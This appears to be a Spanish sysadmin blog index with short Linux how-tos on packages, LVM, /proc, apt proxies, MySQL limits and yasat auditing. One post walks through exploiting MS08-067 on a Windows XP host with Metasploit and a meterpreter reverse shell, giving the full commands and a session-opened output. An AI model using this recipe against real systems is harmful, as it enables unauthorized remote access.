deborphan, paquetes huérfanos

Los sistemas Debian GNU/Linux tienen un estupendo gestor de paquetes que se encarga de resolver las dependencias cuando se instalan nuevos paquetes. Sin embargo, cuando éstos se desinstalan hay un pequeño problema, que se desinstala el paquete maestro, pero no todas las dependencias que se instalaron con él, dejando muchos paquetes "basura" en el sistema. Todos estos paquetes ocupan espacio, pero no son necesarios, de ahí el nombre de huérfanos, ya que "no tienen" padre. Para saber qué paquetes hay en nuestro sistema y poder así eliminarlos y que no ocupen espacio, existe la herramienta deborphan. Por lo tanto, deborphan es un buscador de paquetes huérfanos y su funcionamiento es muy simple. Tras la instalación,
shell> apt-get install deborphan
la forma simple de usarlo es llamándolo como root. Aquí se buscarán aquellos paquetes huérfanos en libs y oldlibs. Un ejemplo de salida es el siguiente,
shell> deborphan
mktemp
libxapian15
wx2.8-i18n
libnewt0.52
diff
dhcp3-common
libconsole
Estos 7 paquetes se instalaron como dependencias de otros y ahora mismo no son necesarios, por lo que se podrían desinstalar sin que el funcionamiento del sistema se viese afectado.
Leer más

LDAP, creación de /home en login

En sistemas GNU/Linux, por defecto al crear un usuario ya crea la carpeta home asociada al mismo y establece los permisos pertinentes. Sin embargo, si el sistema de autenticación es vía LDAP, el usuario no se crea nunca el local, por lo que si la home no es remota, ésta no existirá y nos dará un fallo a la hora de crearla.
Para solucionar este problema, en sistemas que se autentiquen vía LDAP, en el fichero /etc/pam.d/common-session tenemos que añadir la siguiente línea. Ésta justamente hará eso, crear el directorio home del usuario en caso de que éste no exista.
session required pam_mkhomedir.so skel=/etc/skel umask=0022
Leer más

Invalid command 'SSLEngine'

Hay veces que tras realizar una instalación nueva de un servidor apache, nos puede dar el siguiente error a la hora de levantar el servicio.
shell> /etc/init.d/apache2 start
Syntax error on line 18 of /etc/apache2/sites-enabled/defaul-ssl:
Invalid command 'SSLEngine', perhaps misspelled or defined by a module not included in the server configuration
Action 'configtest' failed.
The Apache error log may have more information.
 failed!
Esto es por que el virtualhost está configurado para cargar los módulos de SSL. Esto es necesario siempre que queramos emplear https en lugar de http, es decir, cifrar la conexión. Para darle soporte de SSL a apache, es necesario por lo tanto instalar la librería que ofrece dicho soporte y habilitarlo.
shell> apt-get install libapache2-mod-gnutls
shell> a2enmod ssl
Tras esto, arrancamos apache normalmente y el fallo ya no aparece.
shell> /etc/init.d/apache2 start
Restarting web server: apache2 ... waiting .
shell
Leer más

lvm: "connect() failed on local socket"



Tras hacer algunas pruebas y jugar un poco con lvm y la posibilidad de hacer cluster's, intenté volver al uso normal y cotidiano del mismo, pero cada vez que ejecutaba algún comando que accedía a un recurso lvm, obtenía un maravilloso error, tal como el que sigue. Aunque dicho error no impedía el funcionamiento de los volúmenes lógicos, sí era cuando menos incómodo, ya que daba la sensación de que realmente algo iba a fallar y no se sabía exactamente lo qué.



shell> lvdisplay
connect() failed on local socket: No existe el fichero o el directorio
Internal cluster locking initialisation failed.
WARNING: Falling back to local file-based locking.
Volume Groups with the clustered attribute will be inaccessible.

shell> vgscan
connect() failed on local socket: No existe el fichero o el directorio
Internal cluster locking initialisation failed.
WARNING: Falling back to local file-based locking.
Volume Groups with the clustered attribute will be inaccessible.
Reading all physical volumes.  This may take a while...
Found volume group "vg0" using metadata type lvm2
Así que puse a investigar cómo poder suprimirlo, y la mejor forma es deshacer todo lo que había hecho, es decir, puesto que estuve jugando a hacer cluster's, lo lógico es deshabilitar el uso de los mismos si ya no se tiene acceso a resto de nodos. Por lo tanto,
shell> lvmconf --disable-cluster
Y como se puede ver, ahora al ejecutar cualquier comando relacionado con lvm, ya no aparece el molesto error que da la sensación de que algo falla al acceder a los grupos. Una vez que ha desaparecido el error, sólo queda reescanear los grupos accesibles localmente, para poder así seguir usándolo. Para ello,
shell> vgchange -a n
  0 logical volume(s) in volume group "vg0" now active
shell> lvscan
  ACTIVE            '/dev/vg0/datos' [53,00 GiB] inherit
  ACTIVE            '/dev/vg0/casa'  [15,00 GiB] inherit
Y ahora, una vez que hemos detectado los dispositivos que hay, los volvemos a activar, para poder usarlos.
shell> vgchange -a y
  2 logical volume(s) in volume group "vg0" now active
shell> lvscan
  ACTIVE            '/dev/vg0/datos' [53,00 GiB] inherit
  ACTIVE            '/dev/vg0/casa'  [15,00 GiB] inherit
Leer más

Introducción a /proc

/proc es un punto de montaje muy especial en sistemas GNU/Linux. Es lo que se puede conocer como un sistema de archivos virtual, ya que su contenido no existe físicamente en el disco, pero sí existe una vez arrancado el sistema. Dentro de este directorio, una vez montado, podemos encontrar gran cantidad de información, desde detalles de hardware a información muy detallada del estado de cualquier proceso. También es este directorio hay determinados ficheros que pueden ser manipulados directamente, para enviar cambios en el comportamiento del kernel.
Para comenzar a dar información sobre esta partición, primero vamos a ver cómo acceder a ella. En el fichero /etc/fstab existe la siguiente línea,
proc   /proc proc defaults 0 0
Que una vez montada, devuelve el siguiente punto de montaje
shell> mount
/proc on /proc type proc (rw)
Una peculiaridad de todos los ficheros que están bajo /proc es que su tamaño es cero, es decir, no ocupan en disco, puesto que es un sistema de ficheros virtual y toda la información está en memoria ram. También la fecha de modificación de los mismos será la fecha actual del sistema, algo que deja muy claro el carácter dinámico de dichos ficheros.
Como todos los ficheros de GNU/Linux, intentan ser ficheros de texto plano, por lo que su contenido se puede consultar con cat, more, less, etc. Vamos a ver a continuación algunos ficheros interesantes que están bajo esta partición.
  • /proc/cmdline
    Contiene todos los parámetros que se le han pasado al kernel como opción durante el arranque.
  • /proc/cpuinfo
    Contiene información sobre el procesador del sistema.
  • /proc/filesystems
    Muestra los diferentes tipos de sistemas de ficheros soportados por el kernel.
    Si en la primera columna aparece nodev esto quiere decir que no requiere un dispositivo físico para que sea montado, es decir, es un sistema de ficheros virtual.
  • /proc/kallsyms
    Se trata del reemplazo para el fichero ksyms del kernel 2.4.
    Contiene un listado de todos los símbolos presentes en el kernel, que a diferencia de ksyms sólo tenía los símbolos exportados.
  • /proc/kcore
    Este fichero representa el contenido de la memoria física del sistema en formato core, el cual puede ser analizado con gdb.
  • /proc/modules
    Muestra un listado con todos los módulos cargados por el kernel.
  • /proc/mounts
    Proporciona un listado con todos los dispositivos montados en el sistema de forma similar a la salida obtenida con el comando mount.
  • /proc/partitions
    Muestra información sobre las particiones y dispositivos físicos que las componen.
    El valor "major version" indica el número asociado al dispositivo que contiene dicha partición, el mismo que tiene asignado en el fichero /proc/devices.
    El valor "minor version" se corresponde con el número correspondiente a la partición dentro del dispositivo. Por último aparece el nombre asignado a la partición.
  • /proc/meminfo
    Proporciona información interesante sobre el uso actual de memoria RAM del sistema. Alguna de la información almacenada es consultada por los comandos top, y free.
  • /proc/apm
    Este archivo proporciona información acerca del estado de la Administración de la energía avanzada (Advanced Power Management, APM), y es usado por el comando apm.
  • /proc/buddyinfo
    Este archivo se utiliza principalmente para diagnosticar problemas de fragmentación de memoria.
  • /proc/crypto
    Este archivo lista todos los códigos de cifrado utilizados por el kernel de Linux, incluyendo detalles adicionales para cada uno.
  • /proc/fb
    Este archivo contiene una lista de dispositivos frame buffer, con el número del dispositivo frame buffer y su controlador.
  • /proc/interrupts
    Este archivo graba el número de interrupciones por IRQ en la arquitectura x86.
  • /proc/iomem
    Este archivo muestra el mapa actual de la memoria del sistema para los diversos dispositivos.
  • /proc/ioports
    Este fichero proporciona una lista de las regiones de puertos registrados actualmente utilizados para la comunicación de entrada y salida con un dispositivo.
  • /proc/kmsg
    Este archivo se utiliza para mantener mensajes generados por el kernel. Luego, estos mensajes son recogidos por otros programas, como por ejemplo klogd o dmesg.
  • /proc/loadavg
    Este archivo ofrece una vista de la carga promedio del procesador con respecto al sobretiempo de CPU y de E/S. Estos datos son consultados por el comando uptime.
  • /proc/pci
    El archivo contiene una lista completa de cada dispositivo PCI en su sistema.
  • /proc/stat
    Este archivo mantiene un registro de las diferentes estadísticas sobre el sistema desde que fue reiniciado por última vez. Es contenido de este fichero puede llegar a ser muy amplio, ya que contiene estadísticas del sistema desde su último reinicio.
  • /proc/swaps
    Este archivo mide el espacio swap y su uso.
  • /proc/version
    Este archivo muestra las versión del kernel de Linux y gcc en uso.
  • /proc/sys/net/ipv4/ip_forward
    Este archivo almacena el modo de funcionamiento del kernel en lo referente a reenvío de paquetes.
    Con valor 0, no hay reenvío de paquetes.
    Con valor 1, se hace reenvío de paquetes en red.
    Este fichero es el típico que se altera para poner un sistema GNU/Linux como router.
  • /proc/sys/kernel/hostname
    Contiene el nombre del sistema.
Leer más

ftpfs (ftp to filesystem)

Hay veces que por algún motivo puede ser estrictamente necesario poder montar un directorio ftp como un sistema de archivos. Por ejemplo, se me está ocurriendo, si es necesario realizar un rsync sobre los datos para poder subir sólo aquellos que se han actualizado.
Un cliente ftp normal, como puede ser por ejemplo FileZilla no es capaz de saber qué cosas subir y cuales no, ya que no detecta si hay cambios entre el fichero remoto y el fichero local. En estos cosas, poder montar un sistema de ficheros ftp como una carpeta local, puede ser de gran utilidad.
Para poder por lo tanto conseguir hacerlo, uniremos la potencia del cURL con la gran versatilidad de FUSE y así lograremos el objetivo. Para hacerlo de una forma sencilla existe el programa curlftpfs, que hace justamente lo descrito. Está disponible en los repositorios oficiales de Debian, así que a tirar de apt!
Una vez esté instalado, simplemente necesitamos montar sistema de ficheros en una carpeta local. Para ello indicamos el usuario y la contrasela, así como el ftp remoto al que nos vamos a conectar y finalmente, el punto de montaje local.
shell> curlftpfs -o user="user:passwd" ftp.empresa.com /mnt/ftp/
Ahora bajo la carpeta /mnt/ftp tenemos el ftp de la empresa. Algo realmente sorprendente. Eso sí, la velocidad de acceso es ftp y si ponemos el programa curlftpfs en modo debug, vemos exactamente qué es lo que está realizando. En este caso, autenticaciones ftp para cada fichero. No es óptimo ni veloz, pero sirve para el propósito.
shell> mount
...
curlftpfs#ftp://ftp.empresa.com/ on /mnt/ftp type fuse (rw,nosuid,nodev)
En caso de que el servidor ftp remoto emplee un protocolo cifrado, sftp, la forma simple de conectarse es la siguiente, con las opciones de certificados.
shell> curlftpfs -o ssl -o ssl_control -o no_verify_hostname \
       -o user="user:passwd" ftp.empresa.com /mnt/ftp/

Leer más

Creación de grupos de paquetes en repositorios RedHat

En un post anterior ya vimos cómo crear un repositorio local para equipos RedHat. En éste vamos a ver cómo poder aprovechar toda la potencia que dan los repositorios locales y el sistema de gestión de paquetes yum.
yum puede trabajar con paquetes individuales (rpm's) o con grupos de paquetes (colecciones de paquetes prefijadas), así que vamos a ver cómo podemos crear nuestro 'grupo de paquetes' locales, que simplifiquen una instalación partiendo de los paquetes que hemos creado previamente.
Primero, vamos a recordar cómo creamos el repositorio local,
shell> mkdir -p repo/i386 repo/noarch repo/i686 repo/SRPMS
shell> mv myrpm.noarch.rpm repo/noarch
shell> mv myrpm.src.rpm repo/SRPMS
shell> mv mybinrpm.i386.rpm repo/i386
shell> createrepo repo
Una vez tengamos el repositorio ya listo e indexado, es hora de crear el grupo de paquetes. Para ello, creamos un fichero xml con toda la definición del grupo. Por ejemplo, zabbixserver.xml el que tendrá todos los paquetes que dependan para la instalación de un zabbix-server personalizado en equipos RedHat. Los paquetes, recordemos, son locales. El contenido del fichero, sería similar al siguiente,
<zabbixserver>
<!--  <meta> -->
<!-- Meta information will go here eventually -->
<!--  </meta> -->
  <group>
    <id>zabbix_server</id>
    <name>Zabbix Server</name>
    <default>true</default>
    <description>Default RPMS from zabbix-server</description>
    <uservisible>true</uservisible>
    <packagelist>
      <packagereq type="default">zabbix-server</packagereq>
      <packagereq type="optional">percona-server</packagereq>
    </packagelist>
  </group>
</zabbixserver>
Ahora es necesario recrear nuevamente el repositorio local, pero esta vez pasándole el fichero de grupo a la hora de realizar la indexación. Tal como sigue,
shell> createrepo -g zabbixserver.xml repo
Una vez termine, ya podemos tirar de nuestro repositorio local e instalar con una sola instrucción todos los paquetes del grupo que acabamos de crear.
shell> yum groupinstall zabbixserver

Leer más

Zabbix 2.0 stable!

Hoy, mediante la cuenta oficial de Twitter de @zabbix anunciaron a primera hora de la mañana que iba a ser un día importante para ellos. Efectivamente así fue. Se acaba de anunciar la versión 2.0 stable de zabbix, con importantes mejoras.
En este enlace están todas las mejoras que se han incorporado en Zabbix 2.0.
Desde aquí, mi enhorabuena a todo el equipo de Zabbix, algunos de los cuales tengo el placer de conocer y se el gran esfuerzo que hicieron para que esta nueva versión viese la luz.
Leer más

Hora en el historial GNU/Linux

Hay ciertas veces que puede parecer una tontería, pero saber a qué hora un determinado usuario ejecutó un comando puede resultar útil. También, para los usuarios, cuando llaman al comando history, saber a qué hora se ejecutó, puede hacer una idea del comando que están buscando.
Para conseguir que la información del timestamp se almacene, únicamente hay que añadir las siguientes líneas en el .bashrc del usuario que lo desee. También, en tiempo de ejecución se pueden realizar los export oportunos, que tendrán el mismo efecto.
export HISTSIZE=5000
export HISTTIMEFORMAT="%F %T "
export HISTIGNORE="ls:"
export HISTCONTROL="ignorespace"
Ahora, al ejecutar history tendrá este nuevo aspecto.
shell> history
 ...
 507  2012-05-18 21:32:43 curl --request PROPFIND -v --user...
 508  2012-05-18 21:35:43 apt-cache search ftpfs
 509  2012-05-18 21:35:45 ssh 192.168.1.68
 510  2012-05-18 21:35:49 cd Desktop/
 511  2012-05-18 21:35:52 history

Leer más

HowTo convert nrg to iso

Aunque ahora ya no es algo tan habitual como hace unos años, las imágenes en formato Nero todavía se pueden encontrar. Mientras que una imagen en formato iso es algo estándar, las imágenes en formato Nero no son tan estándares y si toca grabarlas en un equipo GNU/Linux o un equipo Windows que no tenga dicho programa (de pago), la cosa se puede complicar.
Vamos a ver por lo tanto, cómo poder convertir una imagen en formato nrg a una imagen en formato iso. Para ello, desde GNU/Linux, concretamente en Debian, tenemos la utilidad nrg2iso, que hace justamente eso, cambiar el formato. Puesto que está en los repositorios oficiales, primeramente la instalamos,
shell> apt-cache search nrg2iso
nrg2iso - Extracts ISO9660 data from Nero ".nrg" files
shell> apt-get install nrg2iso
Y luego únicamente queda usarla. Como argumentos se le pasa la imagen en formato Nero y como salida obtenemos la imagen en formato iso. Y ya la podemos grabar tranquilamente con cualquier programa que deseemos, ya que es un formato estándar.
shell> nrg2iso imagen.nrg imagen.iso
Puesto que la imagen en formato nrg realmente es una iso "camuflada" en la cual, los primeros bytes de la cabecera indican el formato, si lo obviamos, también debería de funcionar. Por lo tanto con la utilidad dd, lo podemos hacer tal que así,
shell> dd if=imagen.nrg of=imagen.iso bs=512 skip=600
Leer más

MySQL, límite por usuario

En la mayoría de las ocasiones, cuando hablamos de limitar las consultas o conexiones a MySQL se suele hablar de la variable (global) max_user_connections, pero no de variables que controlen las consultas a nivel individual. Sin embargo, en la documentación de MySQL, hay un pequeño apartado que habla del tipo de restricciones o límites que se le pueden establecer a un usuario.
Éstas se aplican de forma individual a cada uno de los usuarios y son,
  • Número de consultas usuario/hora
  • Número de updates usuario/hora
  • Número de accesos usuario/hora
  • Número de conexiones simultaneas por usuario
Todos estos límites son establecidos cuando se crea un usuario y están escritos en la tabla mysql.user y se aplican o alteran con GRANT. Un valor 0, indica que no hay límites.
Un ejemplo de podría ser,
mysql> CREATE USER 'test'@'localhost' IDENTIFIED BY 'passwd';
mysql> GRANT ALL ON test.* TO 'test'@'localhost'
    -> WITH MAX_QUERIES_PER_HOUR 100
    ->      MAX_UPDATES_PER_HOUR 30
    ->      MAX_CONNECTIONS_PER_HOUR 200
    ->      MAX_USER_CONNECTIONS 10;
donde se establecen unos límites de 100 consultas/hora, 30 updates/hora, 200 conexiones/hora y un máximo de 10 conexiones de usuario simultáneas.
Si ahora nos interesa alterar alguno de los valores prefijados, bien para subirlos o bien para bajarlos, simplemente,
mysql> GRANT USAGE ON *.* TO 'prueba'@'localhost'
    -> WITH MAX_QUERIES_PER_HOUR 50;
De la misma forma, estableciendo un límite de 0, se sacan los límites establecidos.
mysql> GRANT USAGE ON *.* TO 'prueba'@'localhost'
    -> WITH MAX_QUERIES_PER_HOUR 0;
Y para sacar todos los límites, simplemente,
mysql> FLUSH USER_RESOURCES

Nota: Las consultas que se obtengan de caché, no contarán como consultas para el límite.
Leer más

Gestión de paquetes con yum

Yum es a RedHat, lo que apt es a Debian. Algo que mola y facilita enormemente la gestión de paquetes. Vamos a ver de forma muy simple algunas de las acciones básicas que se pueden y se suelen realizar con yum.


  • Búsqueda
    shell> yum search wget
    ...
    wget.x86_64 : A utility for retrieving files using...
    
  • Instalación
    shell> yum install wget
    
  • Desinstalación
    shell> yum erase wget
  • Información adicional
    shell> yum info wget
    Name       : wget
    Arch       : x86_64
    Version    : 1.12
    Release    : 1.4.el6
    Size       : 1.8 M
    Repo       : installed
    From repo  : anaconda-RedHatEnterpriseLinux-201009221801.x86_64
    Summary    : A utility for retrieving files using the HTTP or FTP
    URL        : http://wget.sunsite.dk/
    License    : GPLv3+ and GFDL
    Description: GNU Wget is a file retrieval ....
    
  • Dependencias de paquetes
    shell> yum deplist wget
    package: wget.x86_64 1.12-1.4.el6
      dependency: libssl.so.10()(64bit)
      dependency: libc.so.6(GLIBC_2.3.4)(64bit)
      dependency: /sbin/install-info
      dependency: libz.so.1()(64bit)
      dependency: rtld(GNU_HASH)
      ...
    
  • Listado de grupos
    shell> yum grouplist
    Backup Client
    Backup Server
    CIFS file server
    Client management tools
    Compatibility libraries
    Desktop
    ...
    
  • Instalación de un grupo
    shell> yum groupinstall "MySQL Database server"
    
  • Reinstalación
    shell> yum reinstall wget
    Resolving Dependencies
    --> Running transaction check
    ---> Package wget.x86_64 0:1.12-1.4.el6 will be reinstalled
    --> Finished Dependency Resolution
    
    Dependencies Resolved
    
    ==========================================================
    Package  Arch    Version       Repository            Size
    ==========================================================
    Reinstalling:
    wget     x86_64  1.12-1.4.el6  rhel-x86_64-server-6  481 k
    
    Transaction Summary
    ==========================================================
    Reinstall     1 Package(s)
    
    Total download size: 481 k
    Installed size: 0  
    Is this ok [y/N]: y
    
  • Actualizar
    shell> yum update
Leer más

LaTeX: multiples imágenes juntas

En el anterior post sobre LaTeX hablamos sobre la colocación de imágenes flotantes integradas con el texto. En éste hablaremos sobre las posibilidades de tener una única figura, pero con varias imágenes dentro y sin realizarla con gimp previamente, con las ventajas de modificación que ello implica ;-)
La idea es tener una figura (Figura 1), con varias sub-imágenes dentro, a las que también podríamos referenciar. Tal como se muestra en la siguiente imagen, existe la figura 1, y luego la figura 1.a, la 1.b y la 1.c. Aunque parezca complicado de hacer, es sencillo desde LaTeX.
Para conseguir este resultado, primeramente hay que realizar uso del paquete subfig y luego dentro del entorno \begin{figure}...\end{figure} incluir cada una de las imágenes que queramos, colocándole un \label{} si nos interesa referirnos a ellas en alguna parte del texto. Luego para la imagen global, también podremos colocarle un \label{} y un \caption{}, para indicar algo sobre la figura global, por ejemplo, para el índice de figuras. A continuación se muestra el código que genera la imagen previa.
\usepackage{subfig}
... 
\begin{figure}
 \centering
  \subfloat[Gatito]{
   \label{f:gato}
    \includegraphics[width=0.3\textwidth]{gato.png}}
  \subfloat[Tigre]{
   \label{f:tigre}
    \includegraphics[width=0.3\textwidth]{tigre.png}}
  \subfloat[Conejo]{
   \label{f:conejo}
    \includegraphics[width=0.3\textwidth]{conejo.png}}
 \caption{Múltiples imágenes}
 \label{f:animales}
\end{figure}
Leer más

Empleo de apt con proxy

Se nos puede plantear el caso de que estemos trabajando en un entorno de trabajo donde todos nuestros equipos no tengan salida a internet, sino que sea una DMZ cerrada. El cortafuegos puede permitir la entrada de conexiones a los servidores que estrictamente lo necesiten, pero no la salida de paquetes a la red. En este caso, a la hora de actualizar nuestra distro, o incluso de descargar algo, no podremos.
Para casos como este, existen los proxy's de red. Un equipo que permite, de forma más o menos controlada, saber todo lo que sale y entra de internet, teniendo un pequeño buffer para poder servir así también páginas o archivos previamente descargados de forma más rápida.
Si queremos usar un proxy con el sistema de paquetería de debian, existen dos formas que las veremos a continuación.
  1. Variables de entorno
    Esta forma permite establecer el proxy como un proxy global para todo nuestro sistema GNU/Linux. Todas las peticiones http/ftp será redirigidas por el proxy especificado.
    shell> export http_proxy="http://user:pass@proxy:port"
    shell> export ftp_proxy="http://user::pass@proxy:port"
    
  2. apt-setup
    De esta forma, sólo apt empleará el proxy para salir a internet. Para usarlo, creamos el fichero /etc/apt/apt.conf y le añadimos el siguiente contenido
    Acquire
    {
      http
      {
         Proxy "http://user:pass@proxy:port";
      };
      ftp
      {
         Proxy "http://user:pass@proxy:port";
      };
    }
    
Tras cualquiera de los dos métodos, las acciones realizadas por apt será redirigidas por el proxy empleado, permitiendo la salida a internet del sistema y también en caso de que el proxy tenga suficiente caché, acelerando la descarga de paquetes para otros equipos tras la primera descargar.
Leer más

Redimensionar partición LVM

lvm es una implementación de un administrador de volúmenes lógicos para el kernel de Linux. Gracias a ello podemos administrar y modificar dinámicamente el tamaño de las particiones de nuestro sistema. Ya vimos algunas utilidades y formas de trabajar con LVM en otros post's y hoy vamos a ver cómo poder aumentar el tamaño de una disco LVM y luego de las particiones que lo conforman, de tal forma que tengamos más espacio libre en la partición. Con lvm esto es sencillo.
Partimos de un escenario en el que ya tenemos un disco con una partición lvm creada y sin espacio libre y se engancha al sistema un nuevo disco. Para comenzar, hay que establecer una partición en dicho disco de tipo 8E (LVM) para poder luego crear los volúmenes en ella. Comenzamos pues.
  1. Preparamos la nueva partición de tipo lvm
    shell> pvcreate /dev/sdc1 
      Physical volume "/dev/sdc1" successfully created
  2. Miramos las características del volumen ya existente
    shell> vgdisplay 
      --- Volume group ---
      VG Name               vg0
      System ID             
      Format                lvm2
      Metadata Areas        2
      Metadata Sequence No  2
      VG Access             read/write
      VG Status             resizable
      MAX LV                0
      Cur LV                1
      Open LV               1
      Max PV                0
      Cur PV                2
      Act PV                2
      VG Size               139,75 GiB
      PE Size               4,00 MiB
      Total PE              35775
      Alloc PE / Size       35775 / 139,75 GiB
      Free  PE / Size       0 / 0   
      VG UUID               MG5Axj-0oYw-PmFV-JSoo-rPQv-uNoE-cDE2Ag
  3. Añadimos el nuevo disco al volumen
    shell> vgextend vg0 /dev/sdc1
      Volume group "vg0" successfully extended
    shell> vgdisplay 
      --- Volume group ---
      VG Name               vg0
      System ID             
      Format                lvm2
      Metadata Areas        3
      Metadata Sequence No  3
      VG Access             read/write
      VG Status             resizable
      MAX LV                0
      Cur LV                1
      Open LV               1
      Max PV                0
      Cur PV                3
      Act PV                3
      VG Size               605,50 GiB
      PE Size               4,00 MiB
      Total PE              155009
      Alloc PE / Size       35775 / 139,75 GiB
      Free  PE / Size       119234 / 465,76 GiB
      VG UUID               MG5Axj-0oYw-PmFV-JSoo-rPQv-uNoE-cDE2Ag
  4. Extendemos la partición que nos interese
    shell> lvextend -L +465G /dev/vg0/var 
      Extending logical volume var to 604,75 GiB
      Logical volume var successfully resized
  5. Extendemos el sistema de ficheros
    shell> resize2fs /dev/vg0/var 
    resize2fs 1.41.12 (17-May-2010)
    Filesystem at vg0/var is mounted on /var; on-line resizing required
    old desc_blocks = 9, new_desc_blocks = 38
    Performing an on-line resize of /dev/vg0/var to 158530560 (4k) blocks.
    El sistema de ficheros en /dev/vg0/var tiene ahora 158530560 bloques.
    
Y ya tenemos más espacio en la partición y de forma muy simple ;-)
Leer más

yasat, comprobando nuestro sistema

Hace tiempo escribí acerca de rkhunter, una herramienta perfecta para comprobar la integridad de nuestro sistema y comprobar que nada ni nadie alteró los permisos correctos ni instaló "algo" raro en él.
Hoy os quiero presentar yasat, que no es más que otra herramienta que permite realizar una pequeña auditoría rápida de un sistema o de diferentes partes que componen a éste.
yasat está disponible en código fuente o también para sistemas debian en los repositorios de Debian /Unstable (sid). Apenas tiene dependencias (sed, awk, grep, etc.) y tiene una base de datos para las principales distribuciones gnu/linux del mercado y los sistemas BSD. Se puede descargar desde aquí y el código es realmente simple.
yasat trae una base de datos con soporte para los principales servicios que ofrecen los sistemas. Desde un check simple de usuarios hasta servicios, como pueden ser apache, cups, php, comprobación del kernel, etc. Con la opción --list se detallan la lista de plugins disponibles.
shell> yasat --list
accounting.test
apache_conf.test
apache_modules.test
apache_user.test
apache_vhosts.test
binaries.test
classique.test
cups.test
...
Para ejecutarlo, le podemos indicar que haga una comprobación estándar del sistema (-s), o una comprobación más exhaustiva (-f). Al comenzar la ejecución lo primero de lo que nos informa es del fichero de configuración y del código de colores que va a emplear, con el correspondiente significado de colores para cada uno.
shell> yasat -s
Found /etc/yasat/yasat.conf
  Using YASAT with UID=0                                   [ OK ]
  Using YASAT without SELinux                              [ OK ]
  Detecting OS...                                          [ DONE ]
    Debian Linux Debian Squeeze 6.0.4
  Detecting TERM width...                                  [ 157 ]
Color chart
 GREEN   is for good configuration or information
 RED     is for configuration that must be corrected
 ORANGE  is for optional configuration that can be done
 BLUE    is for information
Si ejecutamos yasat con la opción --nopause, entonces lanzará todas las comprobaciones seguidas, sino irá grupo a grupo y nos pedirá confirmación para continuar. Podemos también obtener el resultado de la ejecución en un formato html, con la opción --html.
Una vez lanzado, el check tiene una pinta similar a la siguiente, para mi sistema.
shell> yasat -s
Found /etc/yasat/yasat.conf
  Using YASAT with UID=0                                   [ OK ]
  Using YASAT without SELinux                              [ OK ]
  Detecting OS...                                          [ DONE ]
    Debian Linux Debian Squeeze 6.0.4
  Detecting TERM width...                                  [ 157 ]
Color chart
 GREEN   is for good configuration or information
 RED     is for configuration that must be corrected
 ORANGE  is for optional configuration that can be done
 BLUE    is for information

At the end of the audit, a report would be viewable at ./yasat.report

=== Check accounting and audit configuration ===
  /var/log/wtmp                                            [ FOUND ]
  /var/log/btmp                                            [ FOUND ]
  /var/log/faillog                                         [ FOUND ]
  /var/log/lastlog                                         [ FOUND ]
  accounting is not enabled                                [ WARNING ]                                     Enable the accounting with accton
  Found sha512 in pam.d                                    [ OK ]
  password encryption                                      [ sha512 ]
  audit is installed by package                            [ GOOD ]
  audit is started at boot                                 [ NO ]

Press ENTER to continue Ctrl/C to quit

=== Check Apache configuration ===
  No apache found                                          [ NOTFOUND ] 

Press ENTER to continue Ctrl/C to quit

=== Check system binaries and integrity tools ===
  AIDE file integrity tester                               [ FOUND ]

  TRIPWIRE file integrity tester                           [ NOTFOUND ]                                    Install TRIPWIRE integrity checker
  chkrootkit                                               [ NOTFOUND ]                                                    Install chkrootkit
DEBUG This check is in development
  POSIX CAPS tools                                         [ NOTFOUND ]                       I cant test POSIX CAPS for your setuid binaries
Checking file with set UID in /sbin
  /sbin/mount.nfs with right=4755                          [ FOUND ]
  /sbin/mount.cifs with 4755                               [ UNKNOWN ]                                This binary is not in yasat's SetUID db
  /sbin/unix_chkpwd with right=2755                        [ FOUND ]
Checking file with set UID in /bin
  /bin/mount with right=4755                               [ FOUND ]
    You can remove PERHAPS setuid from /bin/mount          [ WARNING ]                                     Limit the number of set-uid binary
  /bin/su with right=4755                                  [ FOUND ]
  /bin/umount with right=4755                              [ FOUND ]
    You can remove PERHAPS setuid from /bin/umount         [ WARNING ]                                     Limit the number of set-uid binary
  /bin/ping with right=4755                                [ FOUND ]
    You can remove PERHAPS setuid from /bin/ping           [ WARNING ]                                     Limit the number of set-uid binary
  /bin/ping6 with right=4755                               [ FOUND ]
    You can remove PERHAPS setuid from /bin/ping6          [ WARNING ]                                     Limit the number of set-uid binary
Checking file with set UID in /usr/sbin
  /usr/sbin/postdrop with right=2555                       [ FOUND ]
  /usr/sbin/postqueue with right=2555                      [ FOUND ]
...
Leer más

metasploit, acceso remoto a windows

Tener acceso a un Windows sin actualizar es algo muy sencillo. En este caso y para aquellos que lo quieran probar, se accederá remotamente a un Windows XP SP2 aprovechando un bug ampliamente conocido y simple de explotar, como no, desde metasploit. Concretamente vamos a aprovecharnos de la vulnerabilidad CVE-2008-4250, que se aprovecha de un fallo en el análisis de la ruta en la librería NetAPI32.dll y permite el acceso. Como siempre, desde metasploit, muy sencillo.

Partiendo de una red como la pintada en el esquema, simplemente,
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)> show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name     Setting  Required  Description
----     -------  --------  -----------
RHOST             yes       The target address
RPORT    445      yes       Set the SMB service port
SMBPIPE  BROWSER  yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

Id  Name
--  ----
0   Automatic Targeting

msf  exploit(ms08_067_netapi)> set RHOST 192.168.1.42
RHOST => 192.168.1.42
Como interesa tener acceso al equipo y poder establecer una conexión con él para poder "hacer cosas" y observar que sí es vulnerable, habrá que cargar un PAYLOAD que usar y configurarlo.
msf  exploit(ms08_067_netapi)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi)> show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name     Setting       Required  Description
----     -------       --------  -----------
RHOST    192.168.1.42  yes       The target address
RPORT    445           yes       Set the SMB service port
SMBPIPE  BROWSER       yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

Name      Setting  Required  Description
----      -------  --------  -----------
EXITFUNC  thread   yes       Exit technique: seh, thread, process, none
LHOST              yes       The listen address
LPORT     4444     yes       The listen port


Exploit target:

Id  Name
--  ----
0   Automatic Targeting

msf  exploit(ms08_067_netapi)> set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf  exploit(ms08_067_netapi)> exploit

[*] Started reverse handler on 192.168.1.33:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.42:2940) at 2012-02-07 19:47:33 +0100

meterpreter> p0wned
Leer más

puppet: decisiones usando facter



